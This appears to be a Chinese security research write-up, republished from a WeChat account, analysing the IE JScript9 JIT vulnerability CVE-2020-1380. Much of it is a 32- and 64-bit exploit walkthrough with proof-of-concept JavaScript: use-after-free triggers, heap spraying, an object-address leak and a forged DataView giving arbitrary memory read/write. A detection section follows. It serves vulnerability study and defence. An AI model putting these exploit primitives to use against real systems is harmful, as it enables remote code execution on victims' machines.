function func(O, A, F, O2) {
arguments.push = Array.prototype.push;
O = 1;
arguments.length = 0;
arguments.push(O2);
if (F == 1) {
O = 2;
}
// execute abp.valueOf() and write by dangling pointer
A[5] = O;
};
// prepare objects
var an = new ArrayBuffer(0x8c);
var fa = new Float32Array(an);
// compile func
func(1, fa, 1, {});
for (var i = 0; i < 0x10000; i++) {
func(1, fa, 1, 1);
}
var abp = {};
abp.valueOf = function() {
// free
worker = new Worker('worker.js');
worker.postMessage(an, [an]);
worker.terminate();
worker = null;
// sleep
var start = Date.now();
while (Date.now() - start < 200) {}
// TODO: reclaim freed memory
return 0
};
try {
func(1, fa, 0, abp);
} catch (e) {
reload()
}
Jscript9 在 JIT(Just-In-Time)编译使用 Array.prototype.push() 给函数参数赋值的代码时,编译器没有考虑到可以通过这种方式修改参数类型。
(40c.1884): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=1adb1f70 ebx=147871b0 ecx=00000000 edx=13a16db8 esi=19a4b170 edi=20c3bca0
eip=715d8d33 esp=0bdecce4 ebp=0bdecce4 iopl=0 nv up ei pl zr ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010257
jscript9!Js::JavascriptConversion::ToFloat_Helper+0x13:
715d8d33 d918 fstp dword ptr [eax] ds:002b:1adb1f70=????????
漏洞修复前后的 JIT 代码对比:
修复前,没有设置DisableImplicitFlags:
...
lea eax, [eax]
push 1DDA88B8h
push eax
push ecx <----- no DisableImplicitFlags
call jscript9!Js::JavascriptConversion::ToFloat_Helper (715d8d20)
jmp 1e3d02b6
...
修复后,设置了DisableImplicitFlags:
...
lea eax, [eax]
push 2A98C8B8h
push eax
push ecx
mov byte ptr ds:[13213F68h], 1
mov byte ptr ds:[13213E86h], 3 <----- set DisableImplicitFlags
call jscript9!Js::JavascriptConversion::ToFloat_Helper (70c5ac50)
mov byte ptr ds:[13213E86h], 0
cmp byte ptr ds:[13213F68h], 1
je 0fd302b7
...
银雁冰的32位漏洞利用思路已经写的比较清楚,但是为了方便理解与描述差异,还是首先介绍32位下的漏洞利用过程:
3.1 UAF-1
首先利用漏洞实现第一次 UAF,而这次 UAF 的目的是为了实现第二次 UAF。
第一次 UAF 的过程对应 POC 中代码:
1、在系统堆上创建大小为 0x8c 的 ArrayBuffer ,并用它创建一个 Array 。
2、反复调用函数触发 JIT 后,在 JIT 后的函数中通过 Array[5] = Object 触发 Object.valueOf() 回调,在回调函数内释放 ArrayBuffer。
3、通过创建成员数量为 (0x1000 - 0x20) / 4 的 Array 对象,在系统堆上创建大小为 0x8c 的 LargeHeapBlock 对象,利用该对象重用 ArrayBuffer 的内存。
// TODO: reclaim freed memory
for (var i = 0; i < T.length; i += 1) {
T[i] = new Array((0x1000 - 0x20) / 4);
T[i][0] = 0x666; // item needs to be set to allocate LargeHeapBucket
}
4、Jscript9 管理的 Array 对象 Buffer 大小为:数组大小*4+0x20,因此第三点中还创建了大小为 0x1000 的 Buffer 。
5、回调函数返回,此时 Array[5] 指向 LargeHeapBlock+0x14 处,回调函数返回值 (0) 被写入该位置。而 LargeHeapBlock+0x14 处保存了该对象管理的已分配内存块数量,当该值为0时,触发垃圾回收可以释放该LargeHeapBlock 对象管理的内存块。
3.2 UAF-2
通过调用 CollectGarbage() 触发第二次 UAF,这次 UAF 的目的是为了实现信息泄露:
1、调用 CollectGarbage() 手动触发 gc。gc 过程中会遍历对象,当访问到被第一次 UAF 修改了的 LargeHeapBlock 时,会清理该对象管理的内存;此时该对象管理的 Array 对象的 Buffer 就变为了垂悬指针。
2、再次创建和第一次 UAF 时一样大的 Array 对象,这会导致重用被 gc 释放的 Buffer ,即重用’1. ’中所述的垂悬指针,获得了一个被两个 Array 对象共用的 Buffer。
CollectGarbage();
for (var i = 0; i < K.length; i += 1) {
K[i] = new Array((0x1000 - 0x20) / 4);
K[i][0] = 0x888; // store magic
}
for (var i = 0; i < T.length; i += 1) {
if (T[i][0] == 0x888) {
// find array accessible through dangling pointer
obj_arr = T[i];
obj_arr[0] = 0x999;
break;
}
}
for (var i = 0; i < K.length; i += 1) {
if (K[i][0] == 0x999) {
int_arr = K[i];
break;
}
}
3、此时 obj_arr 和 int_arr 的 Buffer 相同,且类型都为 JavascriptNativeIntArray(Int数组);向 obj_arr 中 传入对象 (obj_arr[0] = {}),会使 Jscript9 自动进行类型转换;此时 obj_arr 和 int_arr 的 Buffer 依旧一致,并且 obj_arr 的类型被修改为了 JavascriptArray(对象数组)。
4、通过将对象放入 obj_arr,再通过 int_arr 将其值取出,就可以泄露对象地址,将该操作封装成函数方便后续利用过程使用。
obj_arr[0] = {};
function leak_obj(obj) {
obj_arr[2] = obj;
return int_arr[2];
}
3.3 Arbitrary R/W
获得了信息泄露原语后,可以通过伪造一个 DataView 对象来实现任意地址读写,这部分的利用思路就比较具有普适性了,并且资料也较多。下面简单描述一下思路:
1、创建一个长度为 0x10 的 JavascriptNativeIntArray(Int数组),从而使其 Buffer 紧跟在 Int 数组后方,利用第二次 UAF 获得的信息泄露函数得到它的地址。
var ga = new Array(6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6);
var ga_addr = 0;
ga_addr = leak_obj(ga)
2、从 ga 地址 +0x38 处取出其 Buffer 地址,利用信息泄露原语将 Buffer 地址作为对象读出,使 dv 指向伪造的 DataView 对象。
R[2] = ga;
I[2] = I[2] + 0x38;
var dv = R[2];
3、向 Int 数组中写入 DataView 结构,涉及的结构如下:
DataView:
+0x0 : vtable;
+0x4 : TypeObject;
+0x8 : 0;
+0xc : 0;
+0x10 : JavascriptArrayBuffer;
+0x14 : 0;
+0x18 : size;
+0x1c : Buffer;
TypeObject:
+0x0 : typeId;
+0x4 : JavascriptLibrary;
+0x8 : prototype;
+0xc : Js::RecyclableObject::DefaultEntryPoint;
+0x10 : 0;
+0x14 : 0;
+0x18 : SimplePathTypeHandler;
+0x1c : value;
DataView 进行读取时,只需要保证:
-
TypeObject 对象的 typeId 正确,JavascriptLibrary 地址合法。
-
size 字段值不过小,value 值可读写。
因此伪造的 DataView 如下:
var dv_addr = ga_addr + 0x38;
ga[0] = 0x2e;
ga[1] = dv_addr;
ga[2] = dv_addr - 0x210;
ga[3] = 0;
ga[4] = ga_addr + 0x24;
ga[5] = 0;
ga[6] = -1;
ga[7] = dv_addr
4、通过 DataView.prototype 去访问 DataView 对象的方法时不需要访问其虚函数表,这时就可以将需要读写的地址作为伪造的 DataView 对象的 Buffer来封装任意地址读写。
function setDataAddress(addr) {
if (addr >= 0x80000000) {
addr = -(0x100000000 - addr);
}
ga[0x1c / 4] = addr;
}
function read32(addr) {
setDataAddress(addr);
return DataView.prototype.getUint32.call(dv, 0, true);
}
function write32(addr, v) {
setDataAddress(addr);
DataView.prototype.setUint32.call(dv, 0, v, true);
}
5、创建一个 DataView 对象,从其中读取出正确的 TypeObject,覆盖原先伪造的 TypeObject,防止后续读写过程中崩溃。
var rdv = new DataView(new ArrayBuffer(8));
var rtype = read32(leak_obj(rdv) + 4);
// Fix fake DataView->type
ga[0x04 / 4] = rtype
至此实现了任意地址读写原语,接下只需利用任意地址读写劫持控制流,需要 POC 的同学可以移步古河老师的 Github,或者自己根据公开思路实现,这里就不赘述。
pop calc
第二节中详细描述了32位下的利用思路并最终弹出了计算器,而在64位下由于指针宽度改变,UAF 过程使用的对象大小需要重新选择。
4.1 UAF-1
修改 Array 对象的成员数量:
32位下Array对象的Buffer,+10h开始0x10字节为Array data header,+20h开始为用户数据
0:008> dd 0ccd8000
0ccd8000 00000000 00000ff0 00000000 00000000
0ccd8010 00000000 00000001 000003f8 00000000
0ccd8020 00000666 80000002 80000002 80000002
0ccd8030 80000002 80000002 80000002 80000002
64位下Array对象的Buffer,+20h开始0x18字节为Array data header,+38h开始为用户数据
0:032> dq 00000126`86c7e000
00000126`86c7e000 00000000`00000003 00000000`00001fe0
00000126`86c7e010 00000000`00000000 00000000`00000000
00000126`86c7e020 000007f0`00000000 00000000`000007f2
00000126`86c7e030 00000000`00000000 00000666`00000666
00000126`86c7e040 00000666`00000666 00000666`0000066
因此在控制 Array 对象 Buffer 大小时,减去的 header 大小需要改为0x38。
32位下的LargeHeapBlock对象:
0:002> dd 0b58c240
0b58c240 713e2d60 0bd0c000 099ce168 00000003
0b58c250 00000004 00000004 0000000d 0bd10000
0b58c260 0bd10000 0b58c2d8 00000000 05c0089c
0b58c270 00000000 00000000 00000000 0b58c240
0b58c280 00000000 00000000 00000000 00000000
0b58c290 0bd0c000 0bd0d000 0bd0e000 0bd0f000
0b58c2a0 00000000 00000000 00000000 00000000
0b58c2b0 00000000 00000000 00000000 00000000
64位下的LargeHeapBlock对象:
0:027> dq 0x000001819068bb30
00000181`9068bb30 00007fff`50ad2780 00000181`917f0000
00000181`9068bb40 00000181`906b0400 00000000`00000003
00000181`9068bb50 00000000`00000010 00000001`00000000
00000181`9068bb60 00000181`91800000 00000181`91800000
00000181`9068bb70 00000181`9068bc90 00000000`00000000
00000181`9068bb80 00000000`00000000 00000000`00000000
00000181`9068bb90 00000000`00000000 00000000`00000000
struct LargeHeapBlock *__fastcall LargeHeapBucket::AddLargeHeapBlock(LargeHeapBucket *this,unsigned __int64 a2)
{
...
v6 = PageAllocator::Alloc((PageAllocator *)(v5 + 0x10), &v14, &v15);
v7 = v6;
if ( v6 )
{
v8 = v14;
v9 = this;
if ( !*((_BYTE *)this + 56) )
v9 = 0i64;
v10 = LargeHeapBlock::New(v6, v14, v15, (unsigned int)(((v14 << 12) - a2 - 32) >> 10) + 1, v9);
v11 = v10;
...
}
bp jscript9!PageAllocator::Alloc+0x30 ".printf "Allocated 0x%x bytes Block on LargeHeapBlock, address: 0x%p \n", @rsi, @rax;gc;"
bp jscript9!LargeHeapBlock::New+0x47 ".printf "Allocated 0x%x bytes LargeHeapBlock,", @rdx;gc;"
bp jscript9!LargeHeapBlock::New+0x4c ".printf "on heap: 0x%p\n", @rax;gc;"
通过创建不同大小的 Array ,发现64位下的 LargeHeapBlock 对象大小可能为:
0xa0/0xa8/0xb0/0xb8/0xd0/0xe8/0x100/0x118/0x130/0x148/0x160/0x178/0x190
为了创建连续的 Buffer,需要使 Buffer 大小对齐到0x1000。其中:
-
Buffer 大小为0x1000时,LargeHeapBlock对象大小为0x100;
-
Buffer 大小为0x2000时,LargeHeapBlock对象大小为0x160;
-
其他满足条件大小的 Buffer 对应的 LargeHeapBlock 对象大小都为0xa0。
进行堆喷之前,在 windbg 中使用 “!heap -flt s [size]” 搜索对应大小的堆块可以发现,只有大小为0x160的堆块数量较少。这说明大小为该值时,释放后被其他堆块占用的可能性更小。
因此选择 UAF 对象的大小为 0x160,对应的 Array 大小为 (0x2000 - 0x38) / 4。
3、在系统堆上创建大小为 0x160 的 ArrayBuffer ,并用它创建一个 Array。
var an = new ArrayBuffer(0x160);
var fa = new Float32Array(an);
4、反复调用函数触发 JIT 后,在 JIT 后的函数中通过 Array[0xA] = Object 触发 Object.valueOf() 回调,在回调函数内释放 ArrayBuffer。
function func(O, A, F, O2) {
arguments.push = Array.prototype.push;
O = 1;
arguments.length = 0;
arguments.push(O2);
if (F == 1) {
O = 2;
}
A[0xa] = O;
}
// compile func
func(1, fa, 1, {});
for (var i = 0; i < 0x10000; i++) {
func(1, fa, 1, 1);
}
try {
func(1, fa, 0, abp);
} catch (e) {
location.reload();
}
5、valueOf() 回调函数内,通过创建成员数量为 (0x2000 - 0x38) / 4 的 Array 对象,在系统堆上创建大小为 0x160 的 LargeHeapBlock 对象,利用该对象重用 ArrayBuffer 的内存。
var abp = {};
abp.valueOf = function () {
// free
worker = new Worker("worker.js");
worker.postMessage(an, [an]);
worker.terminate();
worker = null;
// sleep
var start = Date.now();
while (Date.now() - start < 200) {}
// TODO: reclaim freed memory
for (var i = 0; i < spray_arr_int.length; i += 1) {
spray_arr_int[i] = new Array((0x2000 - 0x38) / 4);
for (var j = 0; j < spray_arr_int[i].length; j += 1) {
spray_arr_int[i][j] = 0x666;
}
}
return 0;
};
6、回调函数返回,此时 Array[0xA] 指向 LargeHeapBlock+0x28 处,回调函数返回值 (0) 被写入该位置。而64位下 LargeHeapBlock+0x28 处保存了该对象管理的已分配内存块数量,当该值为0时,触发垃圾回收可以释放该 LargeHeapBlock 对象管理的内存块。
4.2 UAF-2
接下来继续第二次UAF:
1、调用 CollectGarbage() 手动触发 gc。gc 过程中会遍历对象,当访问到被第一次 UAF 修改了的 LargeHeapBlock 时,会清理该对象管理的内存;此时该对象管理的 Array 对象的 Buffer 就变为了垂悬指针。
2、重新思考第二次 UAF 的目的与 Array 对象的 Buffer 大小计算方式:
-
第二次UAF的目的是为了得到指向同一块Buffer的JavascriptNativeIntArray 和 JavascriptArray。这时如果还像32位时先重用 Buffer 再做类型转换,由于 JavascriptArray 成员大小为 QWORD,就会导致 JavascriptArray 的 Buffer 大小不够,重新分配新的 Buffer,无法实现目的。
-
因此64位下需要控制重新分配后的 Buffer 大小,使类型转换后的 JavascriptArray 对象的 Buffer 重用到之前被释放的JavascriptNativeIntArray 对象的 Buffer:
for (var i = 0; i < spray_arr_object.length; i += 1) {
// spray_arr_int[i] = new Array((0x2000 - 0x38) / 4);
// [+]申请的Buffer大小为 0x7F2*4 + 0x38 = 0x2000h
// [+]Array结构成员数量是7F2
spray_arr_object[i] = new Array((0x2000 - 0x38) / 8);
// [+]控制Array结构成员数量为0x3F9
spray_arr_object[i][0] = 0x888; // store magic
spray_arr_object[i][1] = {};
// [+]将NativeIntArray转换成了JavascriptArray
// [+]JavascriptArray结构成员数量为0x3F9
// [+]重新申请的Buffer大小为 0x3F9*8+0x38 = 0x2000
}
-
此外,由于两个数组成员大小不一致,整数数组访问对象数组时,前者需要的 index 值是后者的一倍(伪代码:arr_int[2n+1]<<32+arr_int[2n] = arr_obj[n])。为了防止后续访问时 index 超过数组成员数量在 Javascript 中触发异常,在进行堆喷时就先初始化对象数组所有成员。
for (var j = 2; j < spray_arr_object[i].length; j += 1) {
//防止数组访问越界在Javascript内触发异常
spray_arr_object[i][j] = 0x888;
}
3、此时 obj_arr 和 int_arr 的 Buffer 相同,通过将对象放入 obj_arr[2] ,再通过 [int_arr[4], int_arr[5]] 将其值取出,就可以得到对象地址,将该操作封装成函数方便后续利用过程使用。
function LeakObject(obj) {
vuln_obj_array[2] = obj;
return [vuln_int_array[4], vuln_int_array[5]];
}
获得了64位下的信息泄露后,任意地址读写以及代码执行的实现思路和32位下基本一致,这里就不再赘述。
只是需要注意实现 read64 时需要使用 DataView.prototype.getInt32.call 方法而不是 DataView.prototype.getUint32.call 方法,否则在读取大于0x7fffffff 的值时会出现地址正确但无法读出正确值的情况。
function read64(addr, offset) {
setDataAddress(addr);
return [
DataView.prototype.getInt32.call(dv, offset + 0, true),
DataView.prototype.getInt32.call(dv, offset + 4, true),
];
}
5.1 动态检测
最初想要使用动态检测一般漏洞的思路,即在漏洞成因位置做检测。但是经过请教熟悉 JIT 引擎的师傅和补丁分析发现:二进制文件改动大,影响的函数多。实现上述思路需要监控的函数调用会很多(也没找到该监控哪些函数调用),难度也比较高。
[+]VariableName:func
|-PropertyAddr:0xbcea654
|-type: Js::ScriptFunction
|-EP addr:07be0000
|-number of calls: 5461
0:002> u 0x7be0000
07be0000 55 push ebp
07be0001 8bec mov ebp,esp
07be0003 81fc5cc9fa04 cmp esp,4FAC95Ch
07be0009 0f8f0f000000 jg 07be001e
07be000f 68f895c905 push 5C995F8h
0:002> u Js::InterpreterStackFrame::Process
jscript9!Js::InterpreterStackFrame::Process:
7147fd20 8bff mov edi,edi
7147fd22 55 push ebp
7147fd23 8bec mov ebp,esp
7147fd25 81ec14020000 sub esp,214h
对比两者可以发现:
-
JIT 代码块的基地址会对齐到 0x10000。
-
JIT 代码块头部没有 padding。
8bff mov edi,edi
基于上述方法,可以在 Js::JavascriptConversion::ToFloat_Helper 函数内针对漏洞影响做检测:
1. 返回地址是否位于JIT代码中;
2. 参数对应的对象类型是否为 Object ,该对象有没有重写 valueOf 方法;
3. 返回地址之前有没有设置 DisableImplicitFlags 。
5.2 静态检测
可以触发该漏洞必须包含的代码逻辑为:
1、重写 valueOf 方法;
.valueOf = function()
2、将 arguments.push 修改为 Array.prototype.push;
arguments.push = Array.prototype.push
3、利用 Worker 对象的 postMessage 方法释放对象;
.postMessage
4、调用 terminate 方法销毁 Worker 对象。
.terminate()
前不久的7月14日,Google Threat Analysis Group (TAG) 公开了他们捕获的四个 ITW(in-the-wild) 0day 的详细信息,其中的 CVE-2021-33742是位于 IE 的 MSHTML 模块中的漏洞。Google 对其描述为:“This happened by either embedding a remote ActiveX object using a Shell.Explorer.1 OLE object or by spawning an Internet Explorer process via VBA macros to navigate to a web page.” 。虽然提到了 VBA宏,但文章中给出的两个有关样本的攻击手法都为利用 Shell.Explorer.1 对象在 Office 中加载 Internet Explorer 漏洞。
两者的主要区别在于是否免杀,并且 Internet Explorer 11 即将终止支持并不影响使用了其中组件的其他程序,微软在 CVE-2021-33742 漏洞通告中对这一点的描述为:“While Microsoft has announced retirement of the Internet Explorer 11 application on certain platforms and the Microsoft Edge Legacy application is deprecated, the underlying MSHTML, EdgeHTML, and scripting platforms are still supported. The MSHTML platform is used by Internet Explorer mode in Microsoft Edge as well as other applications through WebBrowser control. The EdgeHTML platform is used by WebView and some UWP applications. The scripting platforms are used by MSHTML and EdgeHTML but can also be used by other legacy applications.”。
这意味着如果攻击者发现其他加载方式,即使 IE 已经被弃用,还是能够利用其组件中的漏洞进行攻击,危害依旧严重。
明年的6月15日,Internet Explorer 11 就将终止支持,在这一年的空档期内,或许就会出现 Jscript9 模块内的其他 0day,搞纯研究的师傅们一般都不关心这种没赏金的模块,而大多数样本分析人员又无法分析 0day,因此只有夹在中间,不会挖洞但能分析些 0day 的菜狗顶上。
[2]:https://www.trendmicro.com/en_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html
[3]:https://bbs.pediy.com/thread-263885.htm
[4]:https://docs.microsoft.com/en-us/lifecycle/faq/internet-explorer-microsoft-edge
[5]:https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks/
[6]:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33742
[7]:https://i.blackhat.com/asia-19/Fri-March-29/bh-asia-Li-Using-the-JIT-Vulnerability-to-Pwning-Microsoft-Edge.pdf
[8]: https://www.anquanke.com/post/id/98774
[9]: https://blog.theori.io/research/jscript9_typed_array/
[10]:https://www.rapid7.com/blog/post/2014/04/07/hack-away-at-the-unessential-with-explib2-in-metasploit/
[11]: https://paper.seebug.org/189/
[12]:https://labs.bluefrostsecurity.de/files/Look_Mom_I_Dont_Use_Shellcode-WP.pdf
[13]:https://github.com/guhe120/browser/blob/master/GC/jit_calc.html
- END -
公众号内回复“1380”,可获取PDF版报告。
关于微步在线研究响应团队
内容转载与引用
本文始发于微信公众号(微步在线研究响应中心):IE 浏览器 0day 漏洞 CVE-2020-1380 的分析、利用和检测
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论